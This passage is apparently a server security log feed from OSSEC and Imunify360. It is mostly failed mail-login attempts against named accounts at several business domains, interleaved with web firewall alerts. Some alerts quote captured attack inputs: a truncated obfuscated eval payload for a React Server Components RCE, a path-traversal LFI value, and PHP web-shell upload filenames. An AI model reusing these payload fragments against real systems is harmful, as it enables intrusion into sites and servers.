country_id: 2661886
description:
2026-07-13 17:08:11 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([192.111.134.12]) [217.211.208.125]:56302: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-13 17:08:22 dovecot_login authenticator failed for H=(62.36.19.42.static.abi.uni2.es) [125.138.166.217]:38176: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-13 17:09:03 dovecot_login authenticator failed for H=([115.160.72.42]) [61.32.68.66]:55594: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.53
country_id: 1668284
description:
2026-07-13 17:09:28 dovecot_login authenticator failed for H=110-25-109-53.adsl.fetnet.net (201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [110.25.109.53]:55213: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-13 17:12:04 dovecot_login authenticator failed for H=(111-70-25-161.emome-ip.hinet.net) [218.248.19.102]:49662: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.186
country_id: 1733045
description:
2026-07-13 17:11:28 dovecot_login authenticator failed for H=(vps-b674cd8d.vps.ovh.net) [49.124.159.186]:47688: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.115
country_id: 1733045
description:
2026-07-13 17:16:55 dovecot_login authenticator failed for H=([218.21.243.58]) [49.124.147.115]:34496: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.197.220.5
country_id: 6252001
description:
2026-07-13 17:17:21 dovecot_login authenticator failed for H=([104.37.135.150]) [74.197.220.5]:39024: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.255.126.94
country_id: 4566966
description:
2026-07-13 17:19:46 dovecot_login authenticator failed for H=([199.229.254.131]) [38.255.126.94]:46770: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-13 17:20:18 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([67.201.38.131]) [73.203.17.220]:56218: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-07-13 17:22:42 dovecot_login authenticator failed for H=([45.82.109.136]) [128.185.187.2]:37820: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.120.42.31
country_id: 1733045
description:
2026-07-13 17:23:10 dovecot_login authenticator failed for H=([184.181.178.35]) [121.120.42.31]:33368: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-13 17:23:43 dovecot_login authenticator failed for H=(industrianaval.fla.gvt.net.br) [197.219.210.94]:59652: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-13 17:24:12 dovecot_login authenticator failed for H=([142.54.235.12]) [122.187.174.78]:39156: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"$a9a175e8\":[],\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"_response\":{\"_prefix\":\"var kepkc=arguments[0x1];var qk=kepkc;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"uf\\\",\\\"fe\\\",\\\"r\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.168.6.27
country_id: 1512440
description:
2026-07-13 17:26:22 dovecot_plain authenticator failed for H=(ovents) [170.168.6.27]:44752: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-13 17:29:02 dovecot_login authenticator failed for H=([36.39.140.2]) [85.105.2.51]:40241: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-13 17:38:45 dovecot_login authenticator failed for H=([124.195.255.12]) [59.12.212.38]:41588: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-13 17:39:00 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [196.188.93.169]:3669: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-13 17:42:19 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [182.95.187.86]:57480: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-13 17:42:05 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([74.119.144.57]) [80.223.190.179]:48512: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-13 17:45:43 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([192.111.135.19]) [155.4.209.51]:48332: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-13 17:49:31 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [211.104.166.110]:46354: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-13 17:49:48 dovecot_login authenticator failed for H=([72.207.109.1]) [122.184.124.46]:38354: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-13 17:51:01 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([211.247.127.250]) [218.219.193.151]:55406: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-13 17:51:14 dovecot_login authenticator failed for H=(91-211-23-39.atstelecom.ru) [211.105.229.237]:57560: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77789665
abuser: 67.205.140.53
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../tmp_1783945286_779419.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 152.53.193.182
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s481232.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 27.34.242.102
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://vird.co/go/paitowarna6d\">Paito Warna Sydney</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-13 18:00:57 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([119.207.63.208]) [83.191.176.93]:60104: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-13 18:01:14 dovecot_login authenticator failed for H=([192.252.210.237]) [70.91.135.181]:39679: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.68.75.130
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94916.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:492a08e648d667fb3d5af0735358f684164188db||Title:x21yaz4dpjh6upm||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 172.233.92.80
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s708410.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-13 18:04:29 dovecot_login authenticator failed for H=([119.192.219.77]) [122.185.101.50]:56654: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.136.113
country_id: 1269750
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:90339.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1575a5f92f185ad330f4120ca1d904713b65c9bd||Title:0xda72468c||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-13 18:10:10 dovecot_login authenticator failed for H=([192.111.138.28]) [182.95.119.30]:33730: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-13 18:10:38 dovecot_login authenticator failed for H=(ip103-31-38-92.cloudhost.web.id) [122.160.142.194]:59836: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.106.212.82
country_id: 783754
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77562131
abuser: 152.53.246.82
country_id: 2921044
domain: ibmcglobal.com
name:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)

description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[attachment]||MV:icagenda_nwohgz.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.151.5.71
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.5.71
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ahsmarine/public_html/wp-admin/images/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-13 18:28:54 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([1.223.184.226]) [155.4.209.51]:56156: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-13 18:29:32 dovecot_login authenticator failed for H=([41.60.23.246]) [190.67.106.221]:37548: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.190.53.157
country_id: 6252001
description:
2026-07-13 18:31:48 dovecot_login authenticator failed for H=ool-18be359d.dyn.optonline.net ([59.93.36.136]) [24.190.53.157]:46254: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-13 18:32:01 dovecot_login authenticator failed for H=([182.95.85.139]) [182.95.228.194]:47208: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-13 18:35:26 dovecot_login authenticator failed for H=(111-70-38-54.emome-ip.hinet.net) [125.23.155.110]:53108: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.222.52.206
country_id: 1269750
description:
2026-07-13 18:38:31 dovecot_login authenticator failed for H=([74.119.147.213]) [117.222.52.206]:53022: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-13 18:38:49 dovecot_login authenticator failed for H=([60.166.8.174]) [1.227.228.131]:48300: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-13 18:39:29 dovecot_login authenticator failed for H=([121.165.242.158]) [182.78.87.2]:43362: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-13 18:39:51 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [182.95.178.174]:36664: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-13 18:44:07 dovecot_login authenticator failed for H=(111-70-32-5.emome-ip.hinet.net) [218.156.93.206]:43891: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-13 18:45:38 dovecot_login authenticator failed for H=([186.239.41.74]) [220.118.190.204]:41558: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.177.72.29
country_id: 3017382
domain: www.globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/config/json/settings.bak||User:globalgroupoman||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-13 18:50:49 dovecot_login authenticator failed for H=([174.75.211.195]) [15.218.135.58]:56277: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-13 18:51:07 dovecot_login authenticator failed for H=(m121-202-206-119.smartone.com) [111.118.47.8]:23977: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-13 18:54:42 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net (ctw.webcas.net) [111.70.22.153]:60767: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.232.174
country_id: 1269750
description:
2026-07-13 18:58:04 dovecot_plain authenticator failed for H=(handens) [152.52.232.174]:50304: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-13 19:02:28 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com ([49.124.151.59]) [31.208.108.219]:55378: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-13 19:02:38 dovecot_login authenticator failed for H=([194.103.82.72]) [122.169.40.221]:44816: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 188.48.226.185
country_id: 102358
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:83325.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fa2657387a45324c07d6109a6a9cc074f7d4dfc||Title:0x58b2b81e||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-13 19:04:44 dovecot_login authenticator failed for H=([184.185.2.254]) [65.20.163.103]:35632: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-13 19:04:26 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca ([45.167.249.253]) [24.207.66.154]:44786: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-13 19:08:06 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([114.30.223.119]) [171.100.121.127]:53566: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-13 19:08:21 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [182.95.127.42]:43350: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-13 19:12:25 dovecot_login authenticator failed for H=([223.86.148.242]) [121.73.169.149]:51844: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 182.10.161.227
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcezkggqhzv.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
2026-07-13 19:16:38 dovecot_login authenticator failed for H=(70.210.245.58.adsl-pool.jlccptt.net.cn) [59.97.52.95]:58600: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-13 19:18:02 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [101.13.4.119]:46522: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.75
country_id: 2300660
description:
2026-07-13 19:17:24 dovecot_login authenticator failed for H=([112.29.109.174]) [197.251.249.75]:52874: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-13 19:17:40 dovecot_login authenticator failed for H=([1.250.67.114]) [128.185.33.241]:38032: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-13 19:22:14 dovecot_login authenticator failed for H=([67.201.38.131]) [122.186.249.6]:35044: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-13 19:22:33 dovecot_login authenticator failed for H=([60.174.35.18]) [1.227.228.131]:33461: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.0.176.82
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pasystems HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.145.57
country_id: 1733045
description:
2026-07-13 19:24:54 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [49.124.145.57]:33436: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-13 19:26:12 dovecot_login authenticator failed for H=([49.125.201.72]) [181.56.174.63]:33900: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-13 19:26:15 dovecot_login authenticator failed for H=(90-230-212-29-no2550.tbcn.telia.com) [125.23.255.134]:43330: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.248
country_id: 1733045
description:
2026-07-13 19:26:27 dovecot_login authenticator failed for H=([170.9.53.196]) [49.124.147.248]:41142: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-13 19:26:39 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([120.198.138.185]) [89.68.245.7]:47480: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-13 19:27:51 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [85.105.2.51]:50951: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.173.93.74
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37484.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e2e3170c9c24f8533dcb525d3213d7632a40670||Title:0xc2ad1ce6||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-13 19:28:23 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu (wsip-184-178-172-24.rn.hr.cox.net) [188.36.7.196]:52534: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 137.220.145.172
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:137.220.145.172||TA:137.220.145.172||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-13 19:36:25 dovecot_login authenticator failed for H=([47.215.0.179]) [219.248.4.146]:35058: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-13 19:37:01 dovecot_login authenticator failed for H=([49.124.151.11]) [200.107.163.195]:41392: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
2026-07-13 19:38:03 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([116.7.248.50]) [125.59.252.103]:47359: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.200.134.44
country_id: 1819730
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/css/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-13 19:41:49 dovecot_login authenticator failed for H=([166.180.111.128]) [182.95.228.106]:45992: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-13 19:42:11 dovecot_login authenticator failed for H=([174.64.199.85]) [218.156.93.206]:49535: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.99.40
country_id: 149590
description:
2026-07-13 19:49:53 dovecot_login authenticator failed for H=([65.20.163.103]) [41.59.99.40]:59428: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: sriganapathyent.in.vrishenterprises.in
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-13 19:55:01 dovecot_login authenticator failed for H=([183.171.41.197]) [182.95.150.106]:38560: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-13 19:55:13 dovecot_login authenticator failed for H=([125.45.143.162]) [61.74.224.30]:55620: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-13 19:56:40 dovecot_login authenticator failed for H=(187-50-27-129.customer.tdatabrasil.net.br) [182.95.102.190]:50786: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-13 19:56:59 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net ([98.190.239.1]) [111.70.22.153]:42467: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-13 19:57:31 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([49.124.151.40]) [155.4.209.51]:45884: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-13 19:58:19 dovecot_login authenticator failed for H=([60.172.1.210]) [103.163.44.10]:60550: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.165
country_id: 6251999
description:
2026-07-13 20:00:09 dovecot_login authenticator failed for H=host-96-30-129-165.public.eastlink.ca (syn-035-130-111-146.biz.spectrum.com) [96.30.129.165]:52163: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-13 20:07:16 dovecot_login authenticator failed for H=([49.124.148.5]) [182.95.106.118]:48850: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-13 20:06:22 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se (isp-31-222-6-25.saowifi.net) [176.10.203.54]:41420: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.41.88
country_id: 1668284
description:
2026-07-13 20:06:40 dovecot_login authenticator failed for H=111-70-41-88.emome-ip.hinet.net ([102.210.149.157]) [111.70.41.88]:49614: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
